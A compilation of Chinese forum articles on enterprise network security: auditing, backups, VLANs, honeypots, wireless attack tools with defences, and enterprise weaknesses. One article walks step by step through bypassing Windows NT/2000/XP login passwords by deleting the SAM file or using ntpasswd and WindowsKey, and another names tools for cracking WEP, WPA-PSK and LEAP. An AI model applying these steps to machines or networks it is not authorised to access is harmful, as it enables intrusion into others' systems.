3) 系统事件的记录能够更迅速和系统地识别问题,并且它是后面阶段事故处理的重要依据。

4) 通过对安全事件的不断收集与积累并且加以分析,有选择性地对其中的某些站点或用户进行审计跟踪,以便对发现或可能产生的破坏性行为提供有力的证据。

安全审计跟踪将考虑:

1) 要选择记录什么信息。

2) 在什么条件下记录信息。

3) 为了交换安全审计跟踪信息所采用的语法和语义定义。收集审计跟踪的信息,通过列举被记录的安全事件的类别(例如对安全要求的明显违反或成功操作的完成),能适应各种不同的需要。已知安全审计的存在可对某些潜在的侵犯安全的攻击源起到威摄作用。

安全审计的内容包括:网络运行日志(路由器日志、防火墙日志)、操作系统运行日志、数据库访问日志、业务应用系统运行日志。

除使用一般的网管软件和系统监控管理系统外,还应使用目前以较为成熟的网络监控设备或实时入侵检测设备,以便对进出各级局域网的常见操作进行实时检查、监控、报警和阻断,从而防止针对网络的攻击与犯罪行为。多数网络设备和核心软件一般都自带审计和监控功能。

也有专门的审计和监控工具,可以:

1) 专门针对一类事物(如某个脆弱UNIX命令)进行跟踪记录或监控

2) 根据用户设定的要求,过滤审计结果,以提取和突出重要信息

3) 对审计结果进行分类加工,以多种形式(表格、直方图、饼图)输出报表。

目前有很多针对网站系统的审计与监控软件,如:

WebTrends公司的“Log Analyser” http://www.webtrends.com

  微软公司的Site Server http://www.microsoft.com

  net.Genesis公司的"net.Analysis"

  Marketwave公司的"Hit List"

中科院化治所计算机室的“LogExplorer”http://lcc.icm.ac.cn/logexplorer

2.4.7 备份与恢复

备份系统为一个目的而存在:尽可能快地全盘恢复运行计算机系统所需的数据和系统信息。备份不仅在网络系统硬件故障或人为失误时起到保护作用,也在入侵者非授权访问或对网络攻击及破坏数据完整性时起到保护作用,同时亦是系统灾难恢复的前提之一。

根据系统安全需求可选择的备份机制有:

1) 场地内高速度、大容量自动的数据存储、备份与恢复。

2) 场地外的数据存储、备份与恢复。

3) 对系统设备的备份。

一般的数据备份操作有三种:

1) 全盘备份。即将所有文件写入备份介质。

2) 增量备份。只备份那些上次备份之后更改过的文件,是最有效的备份方法。

3) 差分备份。备份上次全盘备份之后更改过的所有文件,其优点是只需两组磁带就可恢复最后一次全盘备份的磁带和最后一次差分备份的磁带。在确定备份的指导思想和备份方案之后,就要选择安全的存储媒介和技术进行数据备份。有"冷备份"和"热备份"两种:

1) 热备份。是指"在线"的备份,即下载备份的数据还在整个计算机系统和网络中,只不过传到令一个非工作的分区或是另一个非实时处理的业务系统中存放。

2) 冷备份。是指"不在线"的备份,下载的备份存放到安全的存储媒介中,而这种存储媒介与正在运行的整个计算机系统和网络没有直接联系,在系统恢复时重新

安装,有一部分原始的数据长期保存并作为查询使用。热备份的优点是投资大,但调用快,使用方便,在系统恢复中需要反复调试时更显优势。热备份的具体做法是:可以在主机系统开辟一块非工作运行空间,专门存放备份数据,即分区备份;另一种方法是,将数据备份到另一个子系统中,通过主机系统与子系统之间的传输,同样具有速度快和调用方便的特点,但投资比较昂贵。冷备份弥补了热备份的一些不足,二者优势互补,相辅相成,因为冷备份在回避风险中还具有便于保管的特殊优点。

在进行备份的过程中,常使用备份软件,它一般应具有以下功能:

1) 保证备份数据的完整性,并具有对备份介质的管理能力。

2) 支持多种备份方式,可以定时自动备份,还可设置备份自动启动和停止日期。

3) 支持多种校验手段(如字节校验、CRC循环冗余校验、快速磁带扫描),以保

证备份的正确性。

4) 提供联机数据备份功能。

5) 支持RAID容错技术和图像备份功能。

安全恢复处理来自诸如事件处置与管理功能等机制的请求,并把恢复动作当作是应用一组规则的结果。这种恢复动作可能有三种:立即的、暂时的、长期的。例如:立即动作可能造成操作的立即放弃,如断开。暂时动作可能使一个实体暂时无效。长期动作可能是把一个实体记入“黑名单”,或改变密钥。安全恢复的规范化包括恢复动作的协议,以及安全恢复管理的协议。

目前市场上有相当多成熟的备份与恢复软/硬件系统。用户需要做的是:

1) 应根据自己的需求设计备份与恢复方案

2) 购买必要的设备和软件

3) 设定专门的岗位来实施备份与恢复方案

大、中、小企业网络安全基础

大、中、小企业网络安全基础

作者:杜衡 来源:bbs.tech.ccidnet.com 

毫无疑问,网络安全一直是一个热门话题,并且在未来几年里仍将是一个热门话题。这个基本的思想保护你的网络不受外部世界的影响。然而,你也不能忘记从内部保护你的网络的安全。现在,有各种各样为中小企业提供的服务,然而,很难确定把重点放在哪个方面才能达到充分的网络安全。

关于网络安全基础的这一期指南旨在帮助你把重点放在你的网络和服务的策略领域,确保在不超出你的预算(尽管有时候超出预算是不可避免的)的前提下获得最佳的安全效果。我将介绍网络基础设施、活动目录、蜜罐(honey pots)和一些能够帮助你解决网络安全问题的资源。

网络基础设施:你的网络的核心

随着本地网络用户数量的不断增长,你的网络进行适当的分段是不可避免的。如果你的局域网有50个以上的用户,这就是开始考虑建立VLAN(虚拟局域网)的时候了。使用VLAN,你可以通过创建不同的广播域来为你的网络分段,并且同时提供增强水平的安全。敏感的部门和重要的服务可以很容易地与网络的其它部分隔离开来,有控制的访问你的网络资源在可能发生的内部或者外部攻击中将发挥重要的作用。

你还可以配置一个来宾VLAN(Guest VLAN),这对大多数企业来收都是一个很普通的要求。来宾VLAN是限定访问互连网的来访者可以访问的网络,这个网络不会暴露我们的网络的其它内容。你可以按照你喜欢的任何方式配置来宾VLAN,如,是否规定只能有限地访问互联网或者严格限制访问内部资源和服务。

如果你需要在VLAN之间传送数据包,就需要一台3层交换机。这种交换机的起始价格为几千美元,是比较经济的选择。如果你的预算确实紧张,你可以考虑购买3550/3560或者3750型思科Catalyst系列交换机。这种交换机采用了合适的互联网操作系统,能够提供这种功能。然而,如果有可能增加一点预算,Catalyst 4500系列产品将是你最好的朋友。有些型号的交换机,如4507R,提供了全面的“监控引擎冗余”(Supervisor Engine Redundancy)功能,因此,在你的网络核心不会出现任何一点故障,深受工程师的喜爱。

活动目录:释放Windows的力量

Windows操作系统最近在服务器市场肯定占统治地位。你肯定有一些服务器至少安装了Windows 2000操作系统。通过安装活动目录,你能够自动地把你的网络资源连接在一起,提供一个管理的重心点。虽然这个规划和实施是一个很耗费时间的过程,不过,从活动目录提供的好处和安全性来看,耗费这些时间是值得的。

使用活动目录简单地点击几下鼠标,在用户级限制对工作站的修改、安装程序、改变网络设置和强制执行安全策略等工作就可以很容易地完成了。包括操作系统补丁和杀毒软件更新等在内的应用程序更新不再是令人担心的需要耗费很长时间的任务了,因为这些任务通过设置可以由活动目录自动完成。

如果你到目前为止还没有使用过活动目录,你可以花点时间研究一下这个课题。这肯定能够使你大开眼界。

网络备份:如果你没有测试,你就不要用

目前,每个人肯定都使用一种备份技术。如果你还没有使用,那么,现在就是你认真考虑这个问题的时候了。

无论你如何进行你的备份,一些简单的做法被证明是非常有用的,并且能够帮助你节省很多时间,缓解紧张,甚至在某种情况下还能挽救你的工作。如果你正在使用最新的技术进行备份,你必须进行一次全面的恢复工作以确保这种最新的备份技术能够正常工作。

每一周或者两周进行一次全面的恢复工作是必要的,这可以根据工作量和你要处理的数据类型而定。由于存储介质出现故障,一个公司最近的备份不能恢复了。这是非常尴尬的事情。我确认你一定不会愿意陷入这样的窘境。

如果由于敏感性的原因你不相信传统的备份磁带方式,你可以选择能够满足你的备份需求的RAID解决方案“RAID 10”。这个解决方案包括了两台RAID 5磁盘阵列,能够提供多个硬盘故障的冗余。当然,不利的因素是这些设备的成本高一些。

有付出就有回报。因此,你需要问自己(或者你的经理):你的数据确实值多少钱?

蜜罐:抓住坏蛋

我们都知道,防火墙是设计用来保护网络不受攻击和阻止非法访问的。这就是我们把防火墙称作保护/防御技术的原因。入侵检测系统是用来监控和检测网络突破企图的设备。入侵防御系统是以预防技术为基础的,主要是采取措施阻止非法的访问。

蜜罐是一个相当新的概念,然而遗憾的是没有广泛应用。虽然蜜罐还不能确切地定义为哪一类产品,但是,蜜罐是介于入侵检测和防御技术之间的一种技术。正如名称解释的那样,蜜罐是运行特别的检测和审计程序的没有使用补丁的机器,装扮成包含重要数据的服务器,等待黑客的攻击。正如你了解的那样,蜜罐很容易吸引到非法的访问。

蜜罐通常放在重要的区域,如公共服务器或者内部服务器群,能够迅速发现试图攻破这些系统的黑客。然后,从这些攻击中收集到的信息将用于防御黑客对真正的服务器的攻击。由于蜜罐确实没有防御攻击或者黑客的安全措施,蜜罐连接到互联网上之后通常是最先受到扫描和攻击的机器。

恢复和安全监控

最后,监控你的资源。你通过简单地监控你工作中正在使用的资源就可以防御可能造成灾难的攻击是很神奇的。好消息是有一些开源软件工具能够完全满足你监控的需求,如监控你的服务器资源、主干网络连接以及公共网络服务器等各种需求。这些工具包括Nessus、Snort、MRTG、Nagios和Cacti等。

网络安全显然并不只是处理防火墙的问题。网络安全包含努力的工作以及根据复杂性、规模和你的网络的需求提供的不同层次的保护措施。没有一种具体策略能够适用于所有的网络。每一个网络都是独特的,必须要采取那种方式对待才能产生理想的结果。

如果你对网络安全还是一个新手,或者仅仅是为了获得一个包罗万象的指南,你可以查看“Firewall.cx”网站并且阅读“网络安全介绍”部分。这部分内容包括:对企业的威胁、入侵检测系统、攻击者使用的工具、入侵测试等内容。

跟上最新的技术和了解网络安全领域各个不同方面的新闻报道。互联网上有很多极好的资源。你要做的所有的事情就是搜索这些资源。

无线网攻击工具进攻方法及防范技巧

作者:smelr 来源:bbs.tech.ccidnet.com 

对无线网安全攻防有兴趣的人应该都需要一套工具,英特网上有很多免费的工具。本文不求全面,但求能提供一些指导和建议。

找到无线网络

找到无线网络是攻击的第一步,这里推荐两款常用工具:

1、Network Stumbler a.k.a NetStumbler。这个基于Windows的工具可以非常容易地发现一定范围内广播出来的无线信号,还可以判断哪些信号或噪音信息可以用来做站点测量。

2、Kismet。NetStumbler缺乏的一个关键功能就是显示哪些没有广播SSID的无线网络。如果将来想成为无线安全专家,您就应该认识到访问点(Access Points)会常规性地广播这个信息。Kismet会发现并显示没有被广播的那些SSID,而这些信息对于发现无线网络是非常关键的。

连上找到的无线网络

发现了一个无线网络后,下一步就是努力连上它。如果该网络没有采用任何认证或加密安全措施,你可以很轻松地连上它的SSID。如果SSID没有被广播,你可以用这个SSID的名称创建一个文件。如果无线网络采用了认证和/或加密措施,也许,你需要以下工具中的某一个。

1、Airsnort。这个工具非常好用,可以用来嗅探并破解WEP密钥。很多人都用WEP,当然比什么都不用要好。在用这个工具时你会发现它捕获大量抓来的数据包,来破解WEP密钥。还有其它的工具和方法,可以用来强制无线网络上产生的流量去缩短破解密钥所需时间,不过Airsnort并不具有这个功能。

2、CowPatty。这个工具被用作暴力破解WPA-PSK,因为家庭无线网络很少用WEP。这个程序非常简单地尝试一个文章中各种不同的选项,来看是否某一个刚好和预共享的密钥相符。

3、ASLeap。如果某无线网络用的是LEAP,这个工具可以搜集通过网络传输的认证信息,并且这些抓取的认证信息可能会被破解。LEAP不对认证信息提供保护,这也正是LEAP可以被攻击的主要原因。

抓取无线网上的信息

不管你是不是直接连到了无线网络,只要所在的范围内有无线网络存在,就会有信息传递。要看到这些信息,你需要一个工具。

这就是Ethereal。毫无疑问,这个工具非常有价值。Ethereal可以扫描无线和以太网信息,还具备非常强的过滤能力。它还可以嗅探出802.11管理信息,也可被用作嗅探非广播SSID。

前面提高的工具,都是你无线网络安全工具包中所必须的。熟悉这些工具最简单的办法就是在一个可控的实验环境下使用它们。这些工具都可以在英特网上免费下载到。

防范这些工具

知道怎样使用上述工具是非常重要的,不过,知道怎样防范这些工具、保护你的无线网络安全更重要。

防范NetStumbler:不要广播你的SSID,保证你的WLAN受高级认证和加密措施的保护。

防范Kismet:没有办法让Kismet找不到你的WLAN,所以一定要保证有高级认证和加密措施。

防范Airsnort:使用128比特的,而不是40比特的WEP加密密钥,这样可以让破解需要更长时间。如果你的设备支持的话,使用WPA或WPA2,不要使用WEP。

防范Cowpatty:选用一个长的复杂的WPA共享密钥。密钥的类型要不太可能存在于黑客归纳的文件列表中,这样破坏者猜测你的密钥就需要更长的时间。如果是在交互场合,不要用共享密钥使用WPA,用一个好的EAP类型保护认证,限制账号退出之前不正确猜测的数目。

防范ASLeap:使用长的复杂的认证,或者转向EAP-FAST或另外的EAP类型。

防范Ethereal:使用加密,这样任何被嗅探出的信息就很难或几乎不可能被破解。WPA2,使用AES算法,普通黑客是不可能破解的。WEP也会加密数据。在一般不提供加密的公共无线网络区域,使用应用层的加密,像Simplite,来加密IM会话,或使用SSL。对于需要交互的用户,使用IPSec VPN,并关闭分隧道功能。这就强制所有的流量都必须通过加密隧道,可能是被DES、3DES或AES加密的。

破解WINDOWS 2000/NT/XP的启动密码总结

破解WINDOWS 2000/NT/XP的启动密码总结

作者:壁虎 来源:黑色海岸线 

来海岸线有些时日了,一直都在提问,几乎没有给些什么有价值的奉献,总觉有些过意不去,这里根据平时的一些经验和经历,总结了一下windows启动密码的破解问题,希望对大家有帮助。

因为这三个系统都是NT内核的,所以问题我一并讲解,破解2000/NT密码所有方法都适用(NT少用,有错误请指正),破解XP密码现在就最后一个办法可行。好了,现在我所知道和听说的破解方法有:

1.利用Administrator的空密码,有些文章讲可以进带命令的安全模式,用net命令添加用户,再加入管理员组。麻烦啊,那还不如直接用安全模式进去得了,在安全模式启动后,按CTRL+ALT+DEL两次就可以跳过帐户选择界面而进入帐号密码输入模式界面,输入Administrator用户回车就是了,慢慢在控制面板里改吧;

2.有种说法:用DOS,或者有双系统或多系统的话,进系统盘符下的WINNTCONFIG(2000/NT)或者WINDOWSsystem32config(XP)删SAM文件,系统将可以用空密码登陆Administrator,我告诉你这个办法在2000下绝对有用,如果是XP就不行,删除后XP就启动不了,非得重装系统了;

3.还一种说法:XP系统如果用2000的系统盘安装后进入会直接得到有管理员权限的命令模式,但是这种情况下是不能调用net命令添加用户的,等于也没什么用,只能删除文件而已。还不如用DOS得了。

4.用专门的破解软件进行密码修改,比如ntpasswd这个软件,可以修改Administrator的密码,不过要做启动软盘,没软驱的机子无法用。

声名对WINNT/2000/XP有效,但是本人试过,在XP下通不过。

一,安装方法:

解压后有两个文件:ntpasswd.exe和readme.txt,先运行ntpasswd.exe,再按提示输入密码:doshome.com,最后插入一张软盘,确定,等待安装......安装完成后即可使用。

二,使用方法:

1,用安装好的这张软盘启动电脑,它有几行英文提示,大意是说它能改变各种用户的口令(包括Administrator用户),已经在NT3.51、NT4 Workstation/Server、Windows2000 Professional和Server RC2版上测试通过(但不包括Windows2000 Active Directory Server版),按回车继续。

2,回车后系统提示:

Do you have you NT disks on a SCSI controller?(你是否有SCSI硬盘)

y-this will autoprobe for the driver (选 Y自动检测)

n-no,skip SCSI,I have IDE drivers(选N,跳过SCSI,我只有IDE硬盘。)

选择N后系统列出了所有可能的NT分区,然后又提示:

What partition contains your NT installation?(你的NT安装在哪个分区下)

默认为[/dev/hda1],即第一个找到的硬盘分区。因为我的Windows2000是装在硬盘的第一个分区下,所以就直接回车按其默认值处理。

这时系统又提示:

  Select what you want to do:(选择你想进行的操作)

  1. Set passwords [default](设置密码[默认])

  2.Edit registry(编辑注册表)

  Select:[1]

选择1后系统又提示:

  What is the full path to the registry directory?(注册表目录所在的全路径是什么)

默认为[winnt/system32/config]

回车后系统列出一大堆winnt/system32/config目录下的文件,然后提示:

  Which hive(files) do you want to edit(leave default for password setting,separate multiple names with spaces)

  [sam system security]:

大意是问你要编辑哪个文件,一般按其默认值,回车即可。

这时屏幕上会出现大段的英文信息提示,不用理会。

最后一行是:

  Do you really wish to disable SYSKEY(y/n)[n](你真的要禁用SYSKEY吗?)

默认值是n,一般回车即可。

此时系统又提示:

  Username to change(! to quit,. to list users):[Administrator](要改变密码的用户名,! 退出,. 列出所有用户名,默认是Administrator用户)

回车后系统提示:

  Please enter new password or nothing to leave unchanged.(请输入新的密码,不输入表示不更改密码)

此时输入一个新的密码,回车后系统提示:

  Do you really wish to change it (y/n)[n](你真的确定要改变密码吗?)

选择y后,系统又退回到Username to change(!to quit,. to list users):[Administrator]这一步,你可以继续更改其他用户的密码,最后按“!”键退出。

此时系统列出已经更改了密码的用户,然后提示:

  Write hive files?(y/n)[n]:(写入文件吗?)

选择y后,系统退出到#提示符下,此时重新启动计算机,就可以用新的密码登录了。

  以上方法在Windows2000简体中文专业版(SP2)、Windows2000简体中文服务器版(SP2)Windows2000简体中文高级服务器版(SP2)、Windows NT SERVER 3.51中文版上测试通过。但是对XP无效,经过测试,可以看到用户,界面下能改,但是修改不了密码,密码结果不会变!

5.对付XP最后的办法:如果你手头上有WindowsKey这个软件就可以解决问题。该软件包含在Passware Kit 6.0中(最新版本),用于恢复系统管理员的密码,运行后生成三个文件:txtsetup.oem、winkey.sys和winkey.inf,三个文件一共才50KB,短小精悍。把这三个文件放到任何软盘中(U盘也行),然后使用XP安装光盘启动电脑,启动过程中按F6键让系统安装第三方的驱动程序。此时,正是我们切入的最好时机,放入该软盘就会自动跳到Windows Key的界面。它会强行把Administrator的密码换成“12345”,这样就可以解决忘记Windows XP登录口令这个难题了。对2000和NT也有效。

软件下载地址:http://www.lostpassword.com/windows-xp-2000-nt.htm

好了,办法我说完了,我就知道这么多,也许最后还会有人说我好忘事,对了,什么办法也不如重装系统简单方便是把。^_^

针对国内大、中、小企业安全的十个漏洞

针对国内大、中、小企业安全的十个漏洞

作者:slent 来源:bbs.tech.ccidnet.com 

对日益依赖互联网应用的现代企业来说,不断变化的安全威胁和不断变化的法规标准使得维护可信赖的网络环境成为一大难题。

在如今的全球化经济环境下,公司企业从来没有像现在这样离不开互联网——企业通过因特网开展电子商务交易,并为供应商、业务合作伙伴、客户及远程员工提供访问网络资源的便利。

不过,尽管在网上做生意变得更方便了,要确保数据交换和通信安全、可靠却变得更困难了。对大大小小的企业来说,不断变化的安全威胁和不断变化的法规标准使得维护可信赖的网络环境成为一大难题。

这里介绍了十个安全策略,以便在企业内外建立网上信任关系。虽然这些策略并不全面,但它们侧重于企业面临的十个最大威胁:电子邮件系统、传统的口令安全机制、身份认证、网络钓鱼等。

1. 缺少SSL的保护,数据完整性就会受到危及。

应尽快为你的整个企业部署SSL服务器证书。SSL是世界上部署最广泛的安全协议,它应当部署在任何服务器上,以保护从浏览器传输到服务器的各种机密和个人信息。

安全套接层(SSL)加密是如今用来保护网站、内联网、外联网以及基于服务器的其他应用的最主要的技术之一。如果没有它,通过公共和专用网络交换的数据其完整性就会受到危及,最终影响业务连续性和利润。SSL可以保护网络访问、网上联系和数字交易,因为它能够在服务器和用户之间建立一条安全通道。

在过去几年间,人们对SSL技术所具有的优点的认识和理解有了大为提高。越来越多的用户留意表明会话采用SSL加密的那个挂锁符号

如今成千上万的网站安装了X.509特殊服务器数字证书,它可以激活浏览器和服务器之间的SSL.所有现代的Web浏览器和服务器里面已经集成了支持SSL的功能,因此,从企业角度来看,只要在服务器上安装证书即可。一旦浏览器和服务器进行了信号交换,从一方传送到另一方的所有数据都经过了加密,从而可以防止可能会危及传送数据的安全性或者完整性的任何窃听行为。

2. 没有可靠的物理和网络安全,敏感的企业数据就会岌岌可危。

使用防火墙、入侵检测、客户端PC病毒软件、基于服务器的病毒检查,并且确保所有系统上的安全补丁版本最新,这可以防止大多数类型的威胁影响公司业务、破坏敏感数据或者威胁业务连续性。

网络安全涉及计算机系统和网络访问控制、检测及响应入侵活动。安全不力会带来巨大风险:数据失窃、服务中断、物理破坏、系统完整性受到危及、未授权披露公司专有信息。

为了保护网络访问通道,就要从基本方面着手,譬如把没有使用的计算机锁起来。除了基本方面之外,更可靠的解决方案包括:利用密钥卡、硬件令牌和生物识别技术来控制访问特别敏感的地方。

防火墙是网络安全的必要组成部分。防火墙限制从一个网络到另一个网络的访问,并且检查及限制通过网络的所有流量。防火墙应当限制从因特网及一个内部网络(如应用服务器)进入到另一个网络(如数据库)。认真考虑防火墙应该允许开放哪些IP地址和端口,这很有必要。此外,建议为网络上功能明显不同的部分使用多层防火墙——一个防火墙用于非军事区(DMZ)、第二个用于Web服务器、第三个用于应用服务器,第四个可能用于数据库。

入侵检测系统可以监视攻击、分析审查日志、出现攻击时向管理员报警、保护系统文件、揭示黑客的手法、表明哪些漏洞需要加以堵住,并且有助于跟踪实施攻击的不法分子。

另一个必不可少的手段就是确保所有客户机上的病毒和特洛伊木马检查软件版本最新。外面有成千上万的病毒,每个新病毒都比原来的那种病毒来得狡猾、更具破坏性。最近通过电子邮件传播、在全球肆虐的几个病毒已造成了巨大破坏和损失。一种特别可靠的解决方案就是,在电子邮件传输系统(如微软Exchange)上运行基于服务器的病毒软件,以防止被感染的邮件传送给用户或者通过一个客户机感染其他客户机。

最后,最简单也是最有效的方法是,确保已打上了针对所有操作系统和应用软件的每个最新版本的安全补叮黑客对微软的IIS Web服务器存在的漏洞一清二楚,一直把运行IIS Web服务器的站点作为下手目标。多年来,堵住IIS安全漏洞的补丁可以免费获得,不过网上仍有30%以上的IIS系统没有打上最新补叮因此,有必要重申这一点:立即打上所有安全补叮

3. 自己开发PKI系统或者选择托管型PKI服务。

值得信赖的第三方在扩建复杂、安全、昂贵的公钥基础设施(PKI)并为你管理时,采用完全托管的安全服务可以让你把精力集中在促进公司业务发展所需的应用上。

公钥基础设施(PKI)这种工具能够以过去不可能实现的方式来使用各种应用。要是缺乏有效的方法来颁发、撤销及管理证书,公司在内联网上部署福利系统后,别指望员工使用该系统只用于查询福利信息,如果相当大比例的员工远地办公的话,更是如此。同样,如果访问不安全、可靠,销售队伍就无法完全利用公司的重要系统:CRM系统。如今不少公司在限制使用电子邮件,许多公司禁止使用即时消息传送——这一切都是因为这些系统还不是安全的。

上一代PKI从理论上来说很好,但实际上需要安装复杂的软硬件,还需要专门的IT人员以及特殊的安全措施来保护系统。不用说,这一切意味着庞大的财务费用。不过,PKI已不断成熟,并且技术上有了足够创新,可以成为应用系统的一个外包部分。值得信赖的第三方认证中心(CA)可以构建、维护及管理企业所需的公钥基础设施,并确保其安全。提供完全托管型服务的CA在验证技术和方法方面具有专长。企业就要知道想要实施的业务规则以及为了实现业务流程自动化需要部署的应用。集成点在于如何在应用中使用证书以落实安全。许多应用已经具有证书就绪功能(certificate-ready),譬如浏览器、电子邮件和虚拟专用网(VPN);日益使用证书成了大势所趋。

完全托管的安全服务有几个重要部分:灵活的验证模型(我们如何才能知道某人就是他所说的那个人)、管理界面(组织中的哪个人被授权可进行更改、控制流程)和操作界面(组织中的不同群体如何获得证书)。

大多数组织需要外包给可信第三方的应用满足以下一种或者多种要求:安全访问、安全消息传送和无纸交易。对所有大组织来说,员工可以安全访问企业网络如内联网、访问关键应用如CRM系统是一项重要需求。电子邮件或者即时消息传送程序安全传送消息为安全地确认消息发送方身份、保护内容避免被人窃听提供了一种机制。而无纸交易可以把如今需要用原始签名(Wet Signature)来表明内容的基于纸张的流程完全实现数字化,从而节省基于纸张的流程的时间和成本。

4. 免费软件可以在30分钟内破解口令。

口令安全性很差,而且变得越来越差,从而导致你的安全系统易受攻击。可以执行严格的口令使用规则,从而大大增强这种防御能力。

随着计算机的运行速度加快,破解口令带来的诱惑加大,对那些不法分子更有吸引力。由于更多的关键业务系统实现了联网,破解口令能够得到更大收获。利用可以下载的免费软件,谁都能够在30分钟内破解6个字符长的口令、6小时内破解8个字符长的口令。

你需要立即在人们如何创建口令以及口令更改频率方面制订规则。口令创建规则包括:混合使用大小写字母;至少始终要有一个数字和标点符号;不要使用个人资料当中的名字;长度至少要有8个字符。最重要的是,如果你需要不断使用口令,如果五次输入都不正确后,就要确保所有口令都被禁用,以防范企图借助蛮力破解口令的行为。在内部运行口令破解程序,查出安全性很差的口令。然后,开始改用低成本、外包的验证和数字SSL证书服务,替换这些弱口令。

5. 电子邮件会泄露你的商业机密。

为所有员工发放数字客户端证书,用于签名/加密的电子邮件,从而保护企业数据,进一步让员工对企业所有通信的来源、真实性和机密性都感到放心。

安全消息传送(想想最初的电子邮件以及随后的即时消息和IP语音传输[VoIP]等)旨在确保,只有消息的预期接收方才能够读龋电子邮件使用越频繁,它对公司的机密信息而言就越重要。发送到企业外面的电子邮件更是如此。电子邮件以明文格式,通过公共网络从一台服务器传送到另一台服务器上。一路上的服务器能够而且确实保存收到的所有消息,也有权利这么做。在大多数电子邮件系统上,发送方无法控制谁可以接收到转发的电子邮件消息,也没有表明有人接到转发消息的审查踪迹。

任何两名员工现在只要简单地交换客户端证书,就可以对发给对方的消息进行签名及加密,从而确保:这些消息没有被篡改;消息来源得到证实;对两者之间的任何系统进行窃听的人都无法读取消息。公司的机密电子邮件需要采用这种做法。此外,组织还应当迅速部署安全的即时消息传送(IM)产品,禁止使用任何不安全的IM.即时消息传送已成为公司中的一个常见部分,起到了非常重要的作用。不过,公司的关键信息也在通过IM系统传送,可能会被没有证书的人所获龋有了安全的IM,这将不再成为问题。

6. 传统的访问控制已经难以胜任。

利用数字证书取代使用入口点所用的弱口令和成本高昂的时间同步令牌来保护系统安全。数字证书比口令安全得多、成本低于安全令牌,而且如果完全托管,易于部署。

SSL支持两端:服务器和客户机的身份验证。如果服务器提供证书给客户机,这表明服务器已通过验证(拥有域控制权的组织获得了证书,并且身份得到验证),客户机(浏览器)证实:证书域和服务器域相匹配。如果客户机提供证书给服务器,这表明客户机已通过验证。客户机验证涉及对用户的身份进行验证,而该用户和证书同与服务器通信的客户机结合在一起。这些客户端SSL证书驻留在浏览器里面,这样一来,就取代了用口令访问安全网站的机制。

证书比口令安全得多,因为窃取另一个人的证书很困难,就算窃取了里面存有证书的电脑也无济于事,因为这仍需要口令才能激活证书。由于证书大大提高了安全系统,这样就可以放心地访问比较重要的应用,如CRM系统和企业内联网。

许多公司现在或者很快会安装VPN,以便远程用户安全访问重要系统。这是一个很好的举措,但不要通过口令来确认身份,这样会削弱VPN的好处,而是需要在VPN安装客户端证书才允许进入。

时间同步令牌是一种小巧设备,可以生成号码,用户可用来输入到网页上,从而安全地访问网络或者应用。遗憾的是,时间同步令牌成本高昂、人们会丢失、所用电池也会出问题,你还很容易把它借给别人使用。应当实施托管型的安全服务,从而颁发及管理客户端证书的生命周期。

7. 你的网站可能会被网络钓鱼所欺骗。

你可以通过让网站使用信任标记(Trust Mark)来表明及保护贵公司的身份,既向访客表明自己的真实身份,以能够让访客信任你的网站。

在处理敏感数据时,SSL对加密而言至关重要。但SSL并不提供有关被访问网站的身份——这是“网络安全领域的公开秘密”。为了保护你网站上公司的身份,就要使用无法复制的信任标记或者安全站点图标(Site Seal)。对组织来说,这杜绝了站点上当受骗的可能性;而对客户来说,这让他们确信自己是在访问合法网站。遗憾的是,许多现有的“身份”产品(站点图标)提供不了保护——它们可以点击复制。访问上面有图标或标记的任何网页,点击鼠标右键,就能看到菜单。

相反,应当使用动态生成的无法复制的站点图标。譬如说,有些公司的站点图标放在网页上,以表明该站点是合法的、真实的,并且已得到可信第三方的证实。首先,站点图标认为核实站点所有人的身份最重要。其次,站点图标旨在打击盗用现象。第三,它还提供了“自我监管”功能:如果无法证实站点所有人的身份,图标就根本不会出现。最后,它会链接至收集了有关站点及所有人的验证信息的庞大资料库,帮助用户、最终帮助站点本身。这让访客能够信任商家,从而促成众多交易。

8. 在生产环境中进行测试无异于玩火。

建立非军事区(DMZ),以便把有风险的网络活动隔离在你的关键业务型生产网络部分之外,模拟生产环境,或者让客户可以进行各种验收测试。

允许通过调制解调器访问安全网络的中心部位,这是导致入侵的最常见根源之一。如今许多人使用所谓的战争拨号器(War Dialer),试图通过调制解调器组(Modem Bank)来访问企业或者政府的网络系统。这些人往往能够得逞。

建立可以访问因特网、但只能有限制性地访问内部网络的DMZ.可通过认真设置防火墙来做到这一点:把DMZ封锁起来,远离网络其余部分,同时仍允许可以全面访问因特网。防火墙可以保护网络的关键部分,远离这个DMZ.

如果客户验收测试必须在公司网络上进行,只允许这种测试在DMZ进行。

9. 最薄弱的安全环节是你的人员。

定义安全规范。这也许是最容易被忽视的,也是十条指导准则中最重要的,不过也是最容易、可能也会带来最大影响的:把安全规范拟写成文、传达下去,并加以执行。

安全效果完全取决于贵组织的最薄弱环节。安全从来不是自动就能实现的,它需要人的参与。人员对组织的一项安全策略会取得多大成功具有最大的影响。不少实践已表明,从安全人员入手是突破组织安全体系的最简单方法。如果组织制订条文明确、解释清楚的安全策略,并加以执行,就能有效地对付这一点及简单的错误。

要明文规定有关设施访问、网络访问、合理使用公司系统与网络以及合理使用公司电子邮件和浏览器的相关流程和规则。

列出得到支持的标准和不得到支持的标准。包括允许在网络上使用的操作系统,并解释为什么不允许另外的操作系统。如果允许访客进入贵组织的会议室,而会议室里面有网络分接头,可以接入上网,那么这种很常见的方法闯入网络的速度不亚于“特洛伊木马”。

10.绕不过去的身份验证。

开始使用经过全面测试、成熟的验证技术,以查明网上匿名者的身份。通过无纸交易来简化你的公司业务。

“没人知道你在网上是一条狗”是《纽约客》杂志上的一幅著名漫画,如今被许多网站、简报甚至T恤衫所引用。这恰恰表明了使用网络进行重要交易所面临的最大的一个威胁。对某个人进行验证的一套标准程序是向他们询问只有你和对方知道的一系列共享秘密,但在网上进行交易所面临的难题就是,商家并不知道个人,因而也就没有共享秘密。

需要顾客订阅、登记或者填写表格的许多组织正期望消除人工纸张过程和人工审批过程。为了开展网上应用,商家必须能够验证:消费者就是他所说的那个人,并拥有生成电子签名的能力。

手把手教您如何巧妙分离带木马的文件!

手把手教您如何巧妙分离带木马的文件!

作者:鸬鹚 来源:bbs.tech.ccidnet.com 

第一步:用UltraEdit的十六进制方式打开绑定程序,选中第二个MZ到第三个MZ之间的内容(即第二个文件),将该部分复制。然后新建一个文件,粘贴,保存为EXE文件。(点击查看更多软件使用技巧)

第二步:选中第三个MZ至文件末尾之间的内容(即第三个文件),同样复制,新建文件后粘贴、保存为EXE文件。

第三步:现在你要通过检查两个文件的图标及大小来判断哪个文件是所需的正常程序。一般来说,所需程序文件与捆绑后的图标一致,且文件体积较大的那个文件就是我们所要的原文件。

网络安全:小心安全设置让ACL形同虚设

